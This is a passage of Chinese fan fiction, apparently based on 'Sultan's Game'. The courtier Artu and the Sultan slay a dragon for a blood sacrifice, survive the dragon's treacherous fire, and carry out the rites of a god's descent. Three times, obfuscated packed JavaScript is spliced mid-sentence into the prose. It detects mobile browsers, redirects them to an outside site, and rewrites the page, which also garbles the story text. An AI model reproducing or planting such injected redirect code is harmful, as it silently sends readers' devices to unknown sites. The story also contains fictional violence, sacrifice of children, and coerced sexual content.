“怎么贵为神灵，也不能随心所欲，要一点血祀还得推到朕的头上？”苏丹不以为然。这些罪行纵然耸人听闻，却不足以震动多年征战的君王。“卿不是想向我讨要用来献祭的部队吧？那可想得太美了。” 既然谋反被扼杀在萌芽状态，属于你的军队也就无从谈起。你有没有私兵，苏丹再清楚不过。但要君主任你屠戮帝国引以为傲的狮子军团，似乎也是天方夜谭。 苏丹问道：“没有替代的选项吗？” 你斟酌一下，还是没敢当面欺骗这位刚刚达成的盟友：“也可以是相同数量的孩子。” 苏丹脸上露出了然的嘲弄。 “爱卿实在伪善，哪个士卒不是从孩子长成的？”他调侃说，听起来还真像一位仁爱的君主，“如果你实在为难，朕也不是不可以帮这个忙。不过嘛……” 苏丹出手需要代价，你早有预料。但他那句轻佻的嘲讽在你心中引发一轮风暴。如此强烈，几乎是始料未及：杀害一名强壮的士兵和一个脆弱的孩子，在罪行上难分高下，这你当然知道。可这反复的衡量不正是纯净之神所乐见的痛苦，也正是过去的无数个七日之中，苏丹逼迫你做的事！得到残酷命令的瞬间，你的头脑本能地运作，比较你曾经和可能获得的每一支部队，称量所有灵魂的重量：来自异乡的骑兵，他们目光警惕的将军曾与你彻夜长谈；来自高原的步卒，流着泪跪拜你手中的王血之剑；来自黄沙深处的劲旅，聚集他们需要吹响一支在冷月下托付的骨笛；来自这伟大帝国阴影下的乞丐、流民与逃犯，盲目地投向你远播的善名……就算是曾与你搏杀至觐见厅门前的金甲战士，他们的血就活该被泼洒做高塔的地基吗！ 两位难以违抗的主人，如此相似的肆意与轻慢。正因此你醍醐灌顶——如同使用苏丹的卡片时一样，面对神祇的命令，你也应该能灵活，狡诈，大胆争取，让规则中找到孔隙。 “或许不必。”你说，“我有一个新的想法。” *** 你让自己的灵魂上浮。 从喧嚣的尘世中上升，如同浮出水面。在蛋白石构成的庭院里，你叩拜纯净之神。如同在人间的朝堂上谄媚帝王，你向天国的主人投入蜜糖包裹的思绪。你对这一切驾轻就熟——当不愿完成眼前的任务时，臣子应该主动提议更大的乐趣。你当然愿意为神的降临献上鲜血，但这些凡人的献祭过于轻易。在群山深处，你听闻更强大、更有魔力的祭品，来自它的血，是否更能取悦你的主人呢？ 祂喜欢这个主意。 你从光辉的庭院跌落。因人间稀薄的空气而窒息。神灵并没有动怒，但聆听祂的话语本身需要痛苦的报偿。全身的伤口再次开裂。你四肢颤动，眼中放射金光。口中吐出粗哑的真言。去吧。祂说，可以。 人世的色彩重新映入眼帘。倒影照亮青金石的地砖。苏丹在几尺之外俯视你，眸光如电，剑柄握在手心。他摆出了战斗的姿态。 你的君主，最新获得的盟友，猝不及防地进入你们计划谋杀的神祇目光之下，目睹你向共同的敌人施展欺瞒的戏法。他会感到紧张吗？或者恼怒？那颗高高在上的心脏会因难以预料的后果而加速跳动吗？你差点因脑海里浮现的比喻发笑：当你从侍奉最尊贵客人的丝绒暗室里走出来时，一旁等待的奈费勒曾向你投来相似的眼神。 “一个新的要求，您会喜欢的。”你带着微妙的笑意对他说，回音在胸腔震动，眸中辐散尚未消退的白金色辉光，“无需献祭凡人的鲜血了。作为替代，我们将要猎捕一头龙。” *** 龙是存在的，而且可以被杀死。在上一世的记忆中，你曾经资助女战士寻找巨龙的踪迹??。她孤身而去，归来时损失一只眼睛，但也带回一样相匹配的宝物，传奇生物存在的铁证：一颗永恒燃烧的巨龙的眼珠。 你当然知道苏丹会悦纳这件珍宝，但你把它回赠给了阿迪莱。在你看来，屠龙的战士本人更配得上取材于龙的饰品。 如今时移势易，苏丹召来阿迪莱，向她索要关于龙的秘密。两位战士锐利的目光投向你，都觉得被你所背叛。你只好做这个倒霉的中间人，委婉地向君主请求说，既然这是对方的家传秘密，应该让阿迪莱和你一起去。 “无所谓。”苏丹摩挲他的剑柄，“朕也要去。” 幸好君主不打算昭告天下，否则真不知道朝臣们会对这个荒谬计划做何反应。不过有苏丹在，事情变得简单了不少。防火的盔甲，附魔的密银剑，各式珍宝源源不断地送入宫廷。你负责解读那本神秘莫测的屠龙之书。连续几夜的失眠后，黑暗深处的灵魂对你说话了。 “缘何叩问传奇之门？”有着燃烧眼眸的巨大生物问道，“你与龙无冤无仇。权力，财富，智慧，声名，有什么是要借助战胜巨龙来达到的？” 你说，不为什么，你只是一个倒霉鬼，要同时取悦天上和人间的两位主人。 “谎言。”对方轻蔑地回答，“没有人会为了别人屠龙。袒露你最深处的野心吧！有一丝可能，它能获得龙的认可呢！” “我想寻找一条不同的路。”于是你回答，“天上和人间有两位君主，宇宙中还有神秘的星星。他们加诸给我的结局，我都不认可。或许巨龙的血能提供变化的契机，或许不会。或许这鲁莽的尝试会让我死得更早，会让世界伴随我的失败一起毁灭。但既然有这样一个机会，为何不拔剑呢？” “所以答案是‘自由’。”黑暗中的生物思忖说，你感到自己在辉光中下坠进新开启的篇章，“痴心妄想的勇者啊，姑且放你通过了。” *** 一支卫队跟随你们到深林入口，但沿着崎岖小路向龙巢位置进发的只有四个人：你，苏丹，阿迪莱，还有哲巴尔。屠龙之书建议队伍中安排四个位置，爱冒险的将军就这样被惊喜砸中。一路上，他从各种角度偷觑你和苏丹，屡次试图与阿迪莱搭话，反复查看自己的兵器，似乎还不能相信自己在现实之中。 你应该感到忧虑。 屠龙是一件惊天动地的大事。不管是成功还是失败，都会产生一系列的反应。你应该反省自己鲁莽的选择，应该忧虑死亡的后果，应该担心未完成的规划。你更应该思考，万一让这举世无双的猎物逃脱，如何向天上的神灵解释…… 但是，也许因为已经遭受的历练，也许因为正在背负的使命，也许因为你正跟在苏丹高大的身影之后……那些想法丝毫没有进入你的脑海。 你们走向的是必然的胜利，而且不过是通向更伟大胜利过程中的一枚注脚。你心潮起伏，愉悦而自信。 *** 事实也确实如此。你们的计划十分成功，配合也堪称绝妙。哲巴尔假装不敌，把猎物引入陷阱。当巨龙喷出火焰时，你聚集魔力抵挡，同时阿迪莱高声呼喊着口号，持剑佯攻。龙预感到危险来临，扇动翅膀，想要躲进折叠的空间。这时苏丹从天而降，穿越火焰与时空的裂隙，给这头巨兽致命一击。 曾经斩首人间帝王的利刃精准地刺进腹部的旧伤，随即优雅地滚过厚实表皮下的重重关节，如同一团金甲与银刃构成的飓风。你跟随这翻涌的浪潮跃上山峦般的脊背，一同斩裂两节意图飞扬的肉翅。传奇生物的血如同英雄的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993270|178048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绶带，慷慨地泼溅在你们周身。巨龙哀鸣着倒下，从鼻孔里吐出烟气，像座奄奄一息的火山。 “愚蠢的凡人。”它隆隆地抱怨说，“你们无法真正杀死一头龙。我会再次归来。杀死我只是增添更多的血仇与诅咒罢了。” “那样更好。”你落在那庞大头颅边说，“我无意与你结仇，只是为了仪式不得已而为之。” 身后跟来的战友都露出不赞同的表情。龙的眼珠转向你，像琥珀中淌来一丛烈焰。 “是你。”它发出的声音可能接近于巨龙的嘲笑，“向往自由的人类啊。我在你身上看到黑魔法留下的伤痕。想要从中逃脱吗？” 你肯定露出了惊讶的神色。 “那是贯穿轮回的诅咒，把你的生命与那个游戏捆绑在一起。”龙诱惑地说，“只有一头在时空中穿梭的龙能为你解除。考虑一下吧，人类，我们可以做一个交易。” “别费劲了。”有人在你之前回答。巨龙再次发出痛苦的嘶吼，一柄飞来的利刃扎进它的眼珠。苏丹昂然越过你，展臂把眼瞳中心那颗燃烧的宝石剜了下来。“朕可不和墙上的挂饰谈判。” *** 卫队应召而来，执行他们真正的任务：把小山一样的猎物押送回王城。君主披上队长献上的斗篷，目送装载着庞大战利品的车队离去，面上同时流露出餍足和倦怠。在狂乱的战斗中，厚重的长发缀上了烟尘和龙血，他伸手把黑发拨到脑后，从腕上拆下一支金环聚拢，仿佛一头雄狮抖动华丽的鬃毛，珠宝和肌理的辉光同时在暮色下闪动。 僭越的观察引来了王的注意。苏丹低声哼笑，转过脸来。 “你是在盯着我吗，阿尔图卿？” 你垂下双眼。但君主仍然等待解释。 “许多年前，我曾经梦想过这样的事。”于是你告诉他，“参与一场由您引领的远征。” “是吗？”慵懒的声音里多了点兴味，“卿想要的职位是什么？” 你说的是曾经，而他用的是正在发生的时态。你没有回答。 “前锋？后卫？传令官？”王继续悠然发问，“既然想从军，总得有一个职衔吧。” “……” “你或许想做我的副将，可以委派你分兵作战。”他没有介意你的沉默，饶有兴致地挑选起来，“但你也有才能做个术士，向敌人的军团投下流星。” “我考虑过前锋，能为您开拓前路，但那样恐怕少有机会与您并肩作战。”你说，“后卫可以为您维护阵线，但未免距您太远。传令官需要敏捷和魅力，也能时常面见君王。但好像太轻易了，配不上我的才能。” 苏丹没有打断，你望向地平线尽头车队的阴影，君王坠在剑柄上的龙眼宝石在余光中闪耀。 “我为您做执旗之人。”你说，“您剑锋所向，我就在最新踏上的城楼插上您的王旗。若要它倒下，必先饮尽我的血。当您在光辉的战场上短暂地迷失方向，我可以为您引领向前。” 你说到这里，轻轻吐出一口气。 “在那时，我梦想过这样的事。” 或许是与龙战斗给了你一些错觉。有一会儿，你完全沉浸于自己的幻想之中。你仿佛看见了城墙上舞动的金色旗帜，看见了泼洒而来的怒吼与热血，看见混战之中，手持双剑的君主向你投来的雷霆般的注视。那目光跨越了不同的世界，跨越了善与恶，生与死。你眨一眨眼睛，发现自己确实正和苏丹对视着。 这该是个发笑的场合。只是苏丹没有笑。他像对待一匹良马，或一只猎犬那样，揉一下你的面颊，把你推开了。 “你可以早点说出来，爱卿。”他轻飘飘地回答，“朕这么宠你，说不定会为你实现的。” 8. 神圣的牺牲 车队载回王城。好在无需进入拥挤的城区。教会遵循你的意志，已经在王城的郊外选址制造高塔，地基之前预留下巨大的空旷场地，正是为这头史无前例的祭品准备的。 但纵使没有进入王城，被俘获的龙也引起了全城的狂热氛围。所有人都前往围观，隔着遥远的距离膜拜那仍会偶尔颤动的庞大阴影。庆功的酒水把鲜花淹没，歌谣和传说层出不穷。朝廷上的苛刻政策和淫乐戏法都被忘到了脑后。所有人都念叨着猎捕巨龙的伟大苏丹——当然，他几位不值一提的臣子也在其中做出了一点贡献。 龙身受重伤，脖颈上系住了沉重的锁链。它肯定活不了多久，所以献祭需要尽快进行。你问阿迪莱是否愿意执行，毕竟她的家族和这头龙有仇。但女战士并不接受。她说，只要龙头被砍下，诅咒就会自动失效。而作为一个重视荣誉的战士，她不愿意做那个砍断动弹不得的猎物脖子的人。这倒不是大事。无论行刑者是谁，献祭都需要在第二天清晨进行。 *** 这一天深夜，你去见了龙。原则上说，本应有人看守这头会说话的猛兽。但是所有战士和神官都不敢单独与龙的脑袋站在一起，你也许可了。广场上燃着一丛不大的篝火，只够照亮长长枷锁中的一小段。在夜色更深的阴影里，能听见龙孤独的吐息声。 你还没有开口，那传奇生物先说话了。 “人类，”龙说，“我知道你会来的。我等着你哪。” “你知道？” “当然，当然。”龙自得地说，它残破的翅膀在看不见的阴影中拖拽，“我是一头活了很久的龙。何况你如此容易读懂。追求自由的勇者啊，我从你身上嗅到痛苦与恐惧。” 你从怀中掏出那张魔法卡片，青铜的杀戮，这是几小时前你刚抽到的。回城时，在欢呼的人群面前，苏丹亲自握着你的手折断了一张金色的征服卡。他说，猎捕巨龙的壮举让这金色都相形见绌了。 “你说你有办法解决这个。”你问这头龙，“我不能放你走。除此之外，还有什么可以作为交换？” “不需要交换。”龙说，“乐意效劳。” 你露出怀疑的表情。龙从枷锁中转过脖子，用它完好的那只凶眼盯着你。 “龙的火焰可以彻底毁掉这些卡片。而与之相连的、根植入你命运的邪恶魔法会将你一同烧成灰烬。”它用明显恶意的声音说，“强大的圣者，侮辱巨龙的人，向我的火焰敞开身心，我将获得你自愿献上的死亡。这就是我要向你收取的报酬了。” “我暂时不能死。”你说。 你确实不能死。你是纯净之神的地上代言，奉神谕修筑通天的高塔。你还策划着弑神的阴谋，要伴随你人间的君主出征。无论结局如何，你的生死牵动这个国家的命运。 但是……那之后怎么办？ 猎龙造成的狂热已经在你眼前尽显，如果弑神也获得成功。一切结束之后，没有什么政敌、阴谋家或改革者可以动摇苏丹的统治。你几乎可以想象，关于苏丹的传说将如何辉煌地传承到下一个千年。 那苏丹的游戏呢？这个黑暗、嗜血、让罪恶笼罩整个国家的游戏。苏丹曾同意结束它，只是勉强听从你的建议。而你……你未必能在神战中活下来。 苏丹是一位辉煌又恐怖的君主。你的计划正让这君主走向永恒，那作为偿还，你至少应该为这个国家保证一件事。 你就这样站在巨兽的头颅前，进行了一番审慎的思索。龙饶有趣味地观察你。 “你是一头跨越时空的龙。”你和龙商量起来，“诅咒在你躯壳死去后也能生效，不是吗？你能不能，比如说，给我下一个诅咒，等我做完了该做的事再烧我？” “我不想诅咒你。”龙从鼻子里喷出气来，“那样的话你的命运就和我纠缠在一起了。我才不要哩。但我可以在你体内留下龙焰的火种。等时限一到，就把你和那些卡片一起烧得干干净净。” “成交了。”你说。 一个冰冷的声音在身后说：“你敢。” 是苏丹，从篝火的阴影里走进来。 *** 在你侍奉君主的许多年里，见识过他各式各样的表情。大多数时候，他都难以捉摸，心思无法预料。不过此刻你可以有把握地说，苏丹相当生气。 “你这个叛徒，懦夫，胆小鬼！”他迎面就对你进行了一串毫不留情的呵斥，逼近你的样子像一阵席卷而至的飓风，“区区一个游戏解决不了，朕都没有要你的命，你敢寻死？你就只有这点担当吗？” 你不怎么惊慌——作为一个曾经弑君、打算弑神、又刚决心要被龙焰烧死的人，实在没什么事能让你惊慌了。 “陛下，”你说，“我们都知道，这不是普通的游戏。解除它也是您下过的命令，不是吗？” “朕现在收回这个命令。”他阴冷地说，“你要给朕继续玩下去。” “如果是那样，”你发自内心地说，“臣更要做这件事了。” 有一会儿，苏丹没搭理你。你以为他是被你胆大包天的叛逆给镇住了，但他直接看向龙弯曲的长颈。你意识到，他是要从根源解决问题。 “杀了我也没用，人间的王。”龙从鼻孔里喷出一股烟气，它看起来为这对峙愉悦得不得了，“反正我的血终究要洒在这里。你要是向我拔剑，我就用全部的火焰诅咒他。” 苏丹又转向你。他俊美无铸的面孔在震怒中扭曲，像一座格外生动的神像。 “是你像狗一样跪在地上，请求我加入你的战场。”他尖刻地说，“阿尔图，你打算把这个烂摊子甩给我？” “当然不会。”你向他保证，“臣会把一切安排好，等到与您共同的战斗结束。” “一个还没出发就准备好送死的叛徒，也配和朕并肩作战？” “臣的决心并没有动摇。这两件事之间完全——” “你那算什么决心？让别人替你战斗的决心，现在轮到我了？” “我从没有逃避任何战斗，我是为了解决它——” “你就是这么蛊惑那些人加入你的？满口谎言的骗子！你也配让朕为你拔剑？ ” “你觉得我想死吗！”现在是你被他激怒了，“我喜欢被烧成飞灰吗？陛下，如果不是你非要玩那个该死的游戏——” “又是我逼你的？”苏丹大声嘲弄，“你要革命、要弑神、要冲进一头龙嘴里，都是我的过错？我看你该醒一醒，免得把自己都骗了！” “难道不是你的错吗！”你也喊了起来，“没错，我有野心，有欲望，我享受战斗的乐趣，我恨不得再次踩上你那个万恶的王座，看看你那时的脸！但我现在站在这里考虑一个最悲剧的死法，你以为是因为什么？” 苏丹怒极反笑。 “好一个迫不得已的圣人阿尔图！那好！想死可不要怪到别人头上——朕现在就可以满足你！” 他的手真的按向了剑柄，你从热血冲撞头脑的怒火中清醒回来，千钧一发之际抓住他的手臂。纵使曾经与巨狼、与雄狮、与真正的龙作战，那感觉也像搏击一阵咆哮的暴风。你努力让声音冷静下来：“陛下，神降马上要开始了，我们现在自相残杀毫无道理。” “谁和你是自己人，阿尔图？”苏丹森然说，他反手制住你，扼着你的肩颈拖拽，力道让你几乎双脚离开地面，“你敢和这头愚蠢的龙做交易，朕就在这里杀了你——你以为你有多重要？朕的战场上缺你一个先知吗？！” 仿佛一切都回到了故事开始的时候，仿佛命运的明镜中没有出现过任何波澜。你感到头痛欲裂，又有些荒诞可笑：苏丹不希望你死，是吗？看起来好像是这样。他紧抓住你就像孩童不肯交出心爱的玩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993271|178048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 具。但那又如何呢？他会关注你期待的未来吗？他会放弃他看中的游戏吗？他只是把威胁和咒骂轮番投向你，不会说出半句挽留的话。 苏丹仍然在对你说着什么，依稀是某些更加危险的毁灭预告。你望着他凌厉的面容仿佛隔着一层模糊的水面。你疲惫地叹了口气。 “我的陛下，”你说，“这已经是我为了抵抗您，所能做的一切了。” 这时候，你感到思维深处被什么触碰了一下。 是龙。曾经与你在梦境中沟通的魔法生物，它那奇特的、具有诱惑力的声音在你脑海里轻轻说话：“那就现在，如何？” 你恍惚了一瞬。“好。”你说，“不，等一下—— ” 然后你全身燃起白金色的火焰。来自龙的烈火瞬间把你吞噬。 *** 龙恨你。这是当然的。而你和苏丹在这头传奇生物的眼前自顾自争吵，好像它是一条案板上的死鱼。它知道你拥有强大的魔法力量，必须哄骗你自愿放弃防护。它真是一头聪明又狡猾的龙，它做到了。 你聚集力量抵抗，但是太迟了。龙已经得到了你的许诺。火焰正从你身体深处向外燃烧。你能感受到那灼烧沿袭命运而去，正在勾连那一张张曾与你紧密相连的卡牌。或许这并不是最坏的结局。 一只手抓住了你。是苏丹。当你开始燃烧时，他短暂地后退。但此刻他又重新俯过身来，探入火焰抓住你的肩。你感到不属于自己的魔力正顺着接触的皮肤向前流动，强行治愈焦枯和裂口，对抗地席卷全身。火焰同时反扑到他的身上，燎着了他的鬈发。他紧攥着你的灼热指节间，猩红的宝石闪着耀眼的光——是那枚著名的魔戒。 “陛下，”你叹息说，“让我离开吧，这一切都……” “你闭嘴！”他厉声说。 他不肯放手，这能怎么办呢？你回握他的臂膀，展开自己的魔力保护他，以免龙焰把这对抗神灵最后的希望一起烧尽。好几股不同的力量在虚空中对峙。汹涌的魔法嘶吼着互相撞击。术士的魔法，龙的魔法，圣徒的魔法，王座的诅咒。而这所有狂乱的魔法之中，有一股力量格外尖锐，格外凶蛮，心无旁骛地斩开一切。苏丹的手掌如钢铁一般抓住你，完全是奇迹般地，他把你从源自于龙的火焰中完整地拉了出来。一团人形的火苗徒劳地留在夜色中，在空气中哀鸣般地空转，渐渐转向微弱。 “叮当”一声。你低头看去，那枚戒指熔断了，金质圆环落在沙砾中撞出脆响，魔力耗尽的红宝石像流沙一样粉碎一地。又是一声闷响，苏丹反身上前，一剑割开了龙的喉咙。巨兽的头颅嘶鸣着撞击地面，泉水般的热血喷涌而下。 苏丹从长长的裂口里抽出剑刃，转过脸来。你仍然跪坐在沙地上，仰望着他。龙焰的洗礼给那总是被疯狂、被倦怠、被嗜血的躁动覆盖的面孔镀上一层不同寻常的华彩，君主垂眸望你，一种截然不同的火焰在眼瞳中闪动。 “那就不要抵抗我，阿尔图。”他平静地说，“你说要做朕的旗手，朕许可了。” 然后他又说：“现在战斗还没有开始，卿却要临阵脱逃吗？” *** 你被击败了。屈服，倾倒，溃退，无论那是什么。你失去了反抗的意志，甚至忘记自己是为什么反抗他。这一切是在何时发生的？你正站在何方的战场？你完全混淆了时间和空间的概念。你感觉自己站在年少时猎场的树影下，站在欢庆凯旋的人群中，又好像正站在青金石殿前长长的步道上，第一次踏上觐见的阶梯。 君主走近前来，把手伸给你，你亲吻了他的指尖。他轻笑一声，把你从焦黑的沙地上拉起。你借着他的力道爬起来，全身都因心神动摇而颤抖。 “陛下，”你过了好一会儿才说，“血祭提前开始了，臣需要去神殿安排仪式。” “去吧。”苏丹说。 9. 所有的罪孽 蕴含魔力的热血渗入地基，未封顶的高塔以不符合重力规律的方式攀入天空。你在信徒的欢呼中折断了那张杀戮卡。这只是仪式的第一个步骤。随后，一个携带着沉重原料的工匠攀上塔顶，为这将要引接神降的阶梯镀上纯金。你随之折断一张奢靡卡，为神灵承担了挥霍尘世造物的罪行。 教会选择了一名异教徒，将他架上燃烧的柴堆，这耗费了一张征服卡，你对此毫无办法。因为借由这看似微不足道的倾轧，神灵正在开脱自己撕裂世界的野心。 最后的仪式也是最隐秘的。你要向高塔内注入欲望，让罪恶的气息指引审判的降临。 纵欲的一方当然是你。梅姬是纯净之神的信徒，把她拉进这样险恶的仪式令你感到担忧。伊曼自愿献身，但这仿佛在利用他被教会抛弃的处境。在你作出选择之前，苏丹驾临了仪式现场。他没有询问你的意见，也不是说你能够阻止他……总之，这是一场极致的权力展示。在高塔外信徒虔诚的祝祷声中，在最纯净的祭坛上，在神祇投射的目光下，人间的帝王彻底使用、占有、标记了祂的信使。淫靡的声音足以唤醒所有圣者和天使的雕像。 你不知道神灵是否拥有对应的知觉，能被这样张狂的挑衅激怒。但从结果看，高塔的金色外壳越发闪耀，象征神意显现的白烟直上云霄。仪式进行得非常顺利。 万事俱备，你听到了神祇迫不及待的呼唤。祂选定翌日的清晨。你还有一个晚上属于自己的时间。 *** 你先和家人交谈。你把财产都转移给梅姬，请求她按自己的意愿生活。这沟通比想象中平静。在一轮又一轮的担忧和恐惧中，她对这个结局早有准备。然后你一一会见追随者，他们中的大部分并没有灵魂方面的力量，无法跟随你前往新的战场，但你仍然感谢他们的陪伴。结束与拜铃耶的对话后不久，奈费勒登门拜访。 过去一段时间的奔忙里，你几乎把他忘记了。看来他也这么觉得。密室的门刚一关上，他就直截了当地询问，你曾经那些对新世界的美好构想，是否都已经消失在造神的迷雾之中了。 “看看你在做什么吧！”他斥责说，甚至没有坐下，好像把你家的地毯当成了青金石地板，“为他找到一头龙！又召唤一个神！这是你想看到的国家？一个沉浸在传说和迷信里的陆上神国？” 一如既往地，他骂你时该死地正确。但一如既往地，这都不是你的错啊！ “这些不是我的本意。”你向他解释，“而且我真的努力挽回过了……” “那结果如何？”对方毫不留情地问，“你还记得你自己说过的话吗？你想看到一所学校，一个能分享最高权力的机制，不存在绝对正确的领袖——而你实际上做了什么？一个被赋予了屠龙神话的苏丹！一群狂热的被传说故事洗脑的愚民！一个乌烟瘴气的大教会！教领和君主在公开仪式上行淫！” 你只能装作没听见某些内容。不然你可能要羞愧得夺门而出了。 “神是真的。”你尽量心平气和地说，“神降也是。我在试图从毁灭里拯救这个国家。这都是不得已而为之。” 你简洁地解释了关于毁灭之神的事，顺便带过了龙的作用。奈费勒全程眉头紧锁，你不知道他是不是相信了。然后他问了同一个问题，就是你在巨龙死去的夜晚深思过的那个。 “你们要从毁灭之神手里拯救这个国家。”他说，“那之后怎么办？” 你沉默了一下。 “你觉得，”你缓慢地、委婉地说，“就保持这样……事情会向好的方向发展吗？” 难得一见的场景，奈费勒直接气笑了。 “我以为你有头脑。”他尖刻地说，“你和那些满脑子权力的白痴不同。我以为你不但有理想，还思考过怎么实现它——原来如此！你要告诉我这才是你的本来面目，和街头所有无知孩童没什么区别！因为看见一个巨大的龙头，看见染血的宝剑，看见一个伟大的太阳王愿意屈尊亲吻你，你就能把那些荒诞、那些恐惧、那些无辜被害者的尸体——全都抛在脑后了吗！” “别说了。”你忍无可忍，“不是因为这样——” “那是因为什么？”他咄咄逼人地反问，“阿尔图，这是一个我们所有人都曾经跳进过的陷阱。迷醉于太阳的光辉，不知道它能多么灼人。这引发了一切！正因如此，你才沦落到今天这个地步——啊，也许我看错了，你已经开始享受它了吗？” 你不得不做了个深呼吸，才能控制自己的音调。 “我已经尽力了。”你说，“我做了我能做的一切，你甚至不知道我经历了什么！如果你是专程过来侮辱我的，那就请回吧。” 奈费勒也深吸了一口气。 “我敬重你。”他说，这一句话抛在空气中，让两个人都脸色惨白，“我仍然是。我不是来要求你做什么的，阿尔图，我理解你做不到。我只是不敢相信你就这样屈服了。” “见鬼。”你说，“奈费勒。” *** 短时间内的第二次，你感觉被击败了。这真是难以置信……又或许可以理解，毕竟，在那个已经消失的世界里，奈费勒曾经是你的苏丹。你是个顶倒霉的大臣，总是受到你的苏丹的摆布。 “我把这件东西交给你，我本想在另一个场合使用它。”那天告辞前，这位最长久的秘密盟友说，他递给你一个细长的匣子，不用打开，你就知道那是什么。“现在看来，你会在不同的战场上决定这个国家的命运。” “你不需要给我任何承诺。”他又说，那深沉的、永远思虑着的目光没有再看你，“但关键时刻，请想一想上面刻着的那些名字，也许它们能帮你作出正确的选择。” *** 黎明之际，你进宫叩见苏丹。 君主在他的藏宝库里，被各式各样的铠甲和刀剑环绕。看得出他精神饱满，正为即将到来的史诗般的战斗作着准备。你从侧面看见他端详一柄形制特殊的战斧，面孔上同时有战士的深思熟虑，和少年的跃跃欲试。 听见你走近，他对你招了招手。 “拿着这个。” 是一柄锋利的匕首，把手上镶嵌着一枚奇特的宝石，火焰一般的光辉在琥珀的质地里流动。能感到其中蕴含的浓郁的魔力。这是龙死后，眼瞳中收割的另一颗宝石，想必是珠宝商人的最新杰作。另一枚已经嵌在了君主随身的宝剑上。 你感谢了王的赠礼，向他报告为了迎接神降所做的安排，不仅是关于仪式本身的。由于预先知道毁灭之神的降临，你们安排了配置着术士的军团，布置了防护城市的法阵，甚至在高塔可能倒塌的情况下，考虑了民众的疏散。虽然如此，为了避免引发神灵的关注或教会的内乱，暂时不能向任何人传达实情，因此军心士气需要在现场激发……苏丹漫不经心地听了，显然对这些细节不是很在意。 你把这些布置讲完。他说：“卿今天和奈费勒说了什么？” 当然了，有些东西不会因你的幻想改变，包括苏丹无所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993272|178048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不至的眼睛。你希望他看到的没有那么多。 “他对教会耗费巨资请神的事很不满意，跑来痛骂我一顿。”你很自然地说，“您知道，那家伙不信这些东西。” 你说话时，王的手指继续掠过琳琅满目的珍品架，停在一柄布满浮夸纹饰的长刀上。 然后他嗤笑一声。 “亲爱的阿尔图，”他像是愠怒、又像是赞叹地说，“你可真是一条养不熟的狗啊。” 他发现了。他说得对。连你都要对自己的不识好歹感到惊叹了。你想起并未发生的过往里，你说服法里斯刺出的那一剑，他那样在重伤的苏丹面前痛哭流涕地忏悔，痛骂自己是背主的畜生……苏丹对你表现出的纵容，可能已经超过他曾对所有臣民展现的总和。而你还敢当着他的面撒谎呢！ 法里斯是个忠心耿耿的好人。可你，你可是小丑，骗子，和讲故事大师啊！ 但奈费勒终究对你寄予了太高的期望。你失去了过去卓越的发挥。承载万民诅咒的箭矢躺在你的箭袋，龙眼宝石镶嵌的匕首安放你的掌心。这些压力同等地沉重。你已经无法继续去谄媚、去哄骗、去面不改色地编出新的故事了。 “或许因为我毕竟不是狗，陛下。”你甚至笑了笑，“我以为您喜欢我这一点呢。” 苏丹手指弯曲，握住了那柄过分华丽的宝刀。但他没有立刻拿起来。在点着烛光的藏宝室里，各色奇珍在你们身上倒映出明灭的光斑。两个人都望着他那只摩挲刀背的手。他应该不会在此时发难，你想，就算某种东西已经碎裂。君主答允你一同奔赴黎明的战场。他不会食言的。 “陛下，”在这样沉闷的气氛里，你说道，“您还想过挑战别的东西吗？” 苏丹发出一个疑问的声音。 “我曾对所谓的创造之神做过一些调查，它的邪恶程度比另一位有过之无不及。”你说，措辞非常随意，内容也是突发奇想，几乎不知道自己在说什么，“如果这一次能成功的话，或许找到祂也不是问题。” 苏丹沉默了一下，你都能看到他在阴影下挑起眉毛的样子了。 “卿真是很有自信啊。”他说。 “我知道，我知道，明天我不一定能活下来。但是设想一下也无妨嘛！”你轻快地说，“除了神灵，还有其它传奇生物，城市一样庞大的海兽，纯金鳞片的羽蛇，会蛊惑人心的海上妖姬……总之，远离这世界的地方，有很多神奇的猎物可以探索。” “你是在建议朕离开王都，像个穷困潦倒的冒险家一样流浪。”苏丹点评说，“这好像和你们每天鼓吹的贤君良相背道而驰啊。” “找点乐子不好吗？”你一本正经地说，“这精致的小花园配不上您。天地多么广阔，连神灵都可以猎杀，何必困在这个无趣的院落里，每天听一群痴傻的朝臣重复差不多的故事呢？” 这下苏丹把刀取了下来，闪着寒光的开刃直接抵上了你的颈侧。 “胡扯了这么多。”他说，“你想把朕从朕亲手打下来的领土上骗走，好让你的姘头把持朝政。” “怎么能这么想？”你拿出自己最专业的弄臣嘴脸，严肃地回答，“如果臣和您一起去的话，所有人一定会说陛下才是臣的情人啊。” 苏丹终于被逗乐了。他唇角弯曲，对你摇了摇头。 